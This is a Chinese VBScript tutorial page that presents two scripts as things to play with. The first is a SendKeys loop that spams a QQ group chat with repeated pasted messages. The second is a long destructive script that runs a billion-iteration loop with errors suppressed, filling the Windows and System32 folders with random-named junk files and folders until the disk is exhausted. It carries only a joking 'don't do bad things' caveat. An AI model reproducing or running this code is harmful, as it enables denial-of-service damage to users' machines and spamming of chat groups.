当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 从一个VBS脚本学习一点点东西

VBScript
一个实现VBS倒计时的代码
用vbs实现将剪切板的unix格式的内容处理成pc格式的代码
用vb和vbs 破解flashxp的密码的代码
用VBS实现的批量gb2312转utf-8,支持拖动
用vbs实现的XP序列号替换器
VBS可以做什么的简单说明
用vbs实现cmd功能的代码
VBS基础编程教程 (第1篇)
VBS基础编程教程 (第3篇)
VBS基础编程教程 (第4篇)
VBS基础编程教程 (第5篇)
VBS基础编程教程 (第6篇)
利用vbscript的for命令实现定时关机
在桌面右下角出现温馨提示的vbs冒泡程序
利用VBS发送邮件 挑选速度快的肉鸡做VPN 的vbs代码
vbs教程 chm下载
用vbs实现的简单的服务器文件备份办法压缩文件名自动按日期命名
输入mdb数据库即可将打包的mdb文件解包
VBS编程教程第一部
vbs脚本 加密 几个小细节小结下

No. « 24 25 26 27 »

技术文章搜索

关键字

VBScript 中的 从一个VBS脚本学习一点点东西

出处:互联网   整理: 软晨网（RuanChen.com）   发布: 2009-09-11   浏览: 236 ::
收藏到网摘: n/a

不知道是最近还是以前，反正就是这几天经常在网上看到一个刷QQ群的VBS代码。
复制代码 代码如下:

Set WshShell= WScript.createObject("WScript.Shell")
WshShell.AppActivate "群 － Powers成员交流"
for i=1 to 10 '要发的次数
WScript.Sleep 500 '发送消息的时间间隔
WshShell.SendKeys "^v" '要发的内容
WshShell.SendKeys i '这里拿每条消息都不同，在后面加上i即循环的次数
WshShell.SendKeys "%s"
next

这个代码里面解释的很清楚的啦~呵呵
其实就只是这么一点点就已经可以弄来我们做好几个好玩的东西了啦~比如：刷QQ聊天啊、刷网站啦~
由于比较感兴趣，所以找到个这样的代码：一个写硬盘的VBS脚本程序（不要做坏事哦）
复制代码 代码如下:

on error resume next
dim objdir,suijishu
set objdir=wscript.createobject("scripting.filesystemobject")
set windir=objdir.getspecialfolder(0)
set sysdir=objdir.getspecialfolder(1)
'开始程序
for i=1 to 1000
for j=1 to 1000
for r=1 to 1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)
'创建windows文件
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------
next
a.close
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next'--------------------------------------------------------------------------------------
a.close
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'---------------------------------------------------------------------------------
yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'----------------------------------------------------------------------------------
yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7) '8'---
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
'创建system文件------------------------------------------------------------------------------10
yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9) '2------------------------------------------
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y) '3
set a=objdir.createtextfile(yang,true)'------------------------------------------------------
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"'-----------------------------------------
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"'------------------------------------------------
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------15
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-------------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4) '8
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------
next
a.close
'创建windows文件夹
yang=windir&""&f&"u"
objdir.createfolder(yang)
yang=windir&""&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=windir&""&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)'-------------------------------------------------------------------
yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)
yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)'--------------------------------------------------------------------
'创建system文件夹
yang=sysdir&""&f&"n"
objdir.createfolder(yang)
yang=sysdir&""&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=sysdir&""&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)'---------------------------------------------------------------------
yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)
next
next
next
'老杨同志呕血巨著